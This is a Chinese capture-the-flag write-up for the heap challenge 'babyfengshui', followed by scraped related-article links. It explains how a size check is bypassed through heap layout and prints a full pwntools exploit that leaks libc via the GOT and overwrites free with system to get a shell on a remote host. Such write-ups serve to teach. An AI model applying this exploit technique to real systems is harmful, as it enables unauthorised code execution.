(攻防世界)(pwn)babyfengshui
入门级的堆题,拿来学习还是不错的。
做这道题之前,最好还是先对堆的数据结构有一定的了解。
拿到题目,下载附件,查看保护。
一个32位的程序,开了NX和Canary保护,这都不是重头戏毕竟这题不用栈,栈保护只是锦上添花罢了。
把文件拖进IDA查看逻辑:
可以看到,典型的菜单题,这很pwn,实现了增删改查四个功能,像极了C语言程序设计的期末结业程序设计题哈哈哈,暴露年龄。
进入增加用户功能:
可以看到,程序先malloc一个块用于保存数据,再malloc一个块作为结构体,用于保存name和description,name为124,也就是0x7c,注意他们都是指针哦。
这里有个保护就是v3+*ptr[a1]<=*ptr[a1]-4才行
意思就是你写入的数据不能把后面的结构体给覆盖了,但是这却没有考虑堆申请的规则。
题目思路:
我们首先申请两个堆,然后释放掉一个,在申请一个大的,根据堆的数据结构申请规则,就会产生绕过保护的现象,如下图:
这样我们就绕过了题目的保护,我们就可以利用struct的指针改写got表中的内容了,这就是简单的堆溢出了。
完整exp:
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',40079)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf7659750)
def add_note(size,length,text):p.recvuntil('Action: ')p.sendline('0')p.recvuntil('size of description: ')p.sendline(str(size))p.recvuntil('name: ')p.sendline('AAA')p.recvuntil('text length: ')p.sendline(str(length))p.recvuntil('text: ')p.sendline(text)
def delete_note(idx):p.recvuntil('Action: ')p.sendline('1')p.recvuntil('index: ')p.sendline(str(idx))
def display_note(idx):p.recvuntil('Action: ')p.sendline('2')p.recvuntil('index: ')p.sendline(str(idx))
def update_note(idx,length,text):p.recvuntil('Action: ')p.sendline('3')p.recvuntil('index: ')p.sendline(str(idx))p.recvuntil('text length: ')p.sendline(str(length))p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr)) #利用description的指针是指向got表的原理,改变description指针指向的地址的值改为system函数
delete_note(2)
p.interactive()
(攻防世界)(pwn)babyfengshui相关推荐
- 攻防世界 pwn进阶区----No.012 babyfengshui 解题思路
攻防世界 pwn进阶区----No.012 babyfengshui 解题思路 1.本题解题思路 1.先期工作 1.运行程序查看基本逻辑 创建用户 展示用户 更新用户 删除用户 到这里就可以猜测这题有 ...
- 攻防世界 Pwn 进阶 第二页
00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- [攻防世界 pwn]——实时数据监测
[攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...
- [攻防世界 pwn]——monkey
[攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...
- [攻防世界 pwn]——反应釜开关控制
[攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...
- [攻防世界 pwn]——pwn-100
[攻防世界 pwn]--pwn-100 题目地址: https://adworld.xctf.org.cn/ 题目: checksec一下 IDA中 sub_40063D函数的作用就是读入200个字符 ...
- [攻防世界 pwn]——pwn-200
[攻防世界 pwn]--pwn-200 题目地址: https://adworld.xctf.org.cn/ 题目: peak小知识 ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一 ...
最新文章
- Heartbeat V2.x双机热备安装
- Android offsetTopAndBottom 和 setTranslationY 的作用 和区别
- 酷欧天气(CoolWeather)应用源码
- SpringBoot中使用 Druid 数据库连接池, 后台SQL监控无效
- php的pdo如何访问SQLserver_php使用pdo连接sqlserver示例分享
- 惠普暗影精灵3清灰_如何评价惠普笔记本这几年的表现?尤其是暗影精灵系列。...
- 利用Cydia Substrate进行Android HOOK(二)
- Spark学习之路 (六)Spark Transformation和Action
- mysql创建存储过程意义_浅谈一下mySql中创建存储过程
- 【转】Apache+php+mysql在windows下的安装与配置图解(最新版)
- 医院信息化建设,该何去何从?
- 【IC7】FPGA最高工作频率的计算方法;FPGA最大输出频率;查看handbook的PLL最高频率;Fout_ext;Fout两个参数;FPGA输出1ns脉冲
- iOS判断第三方SDK是否含有广告位
- 【Python笔记】Pandas时区处理
- GStreamer和gst-omx插件
- swing-组件Collapse折叠面板2
- 制作FlappyBird时出现的一些问题
- 18.8.17 考试总结
- 仿小米天气预报未来几天趋势预报折线图
- 传统文本分类和基于深度学习文本分类
热门文章
- 类与对象实验:定义一个描述学生(Student)基本情况的类,数据成员包括姓名(name)、学号(num)、数学成绩(mathScore)、英语成绩(englishScore)、人数(count)……
- colmap 稀疏重建的相机轨迹能调吗? 相机轨迹图标太大了
- Iterator 源码
- Window下安装脑图像处理软件FSL
- 如何向docker容器内传文件
- Matlab 使用solve求解方程,出现未知数z和root
- 微信小程序生成二维码带参海报
- HTML标签属性大全
- ASP编程自动采集程序
- win10系统VS2019配置点云库PCL1.12.1的教程与经验总结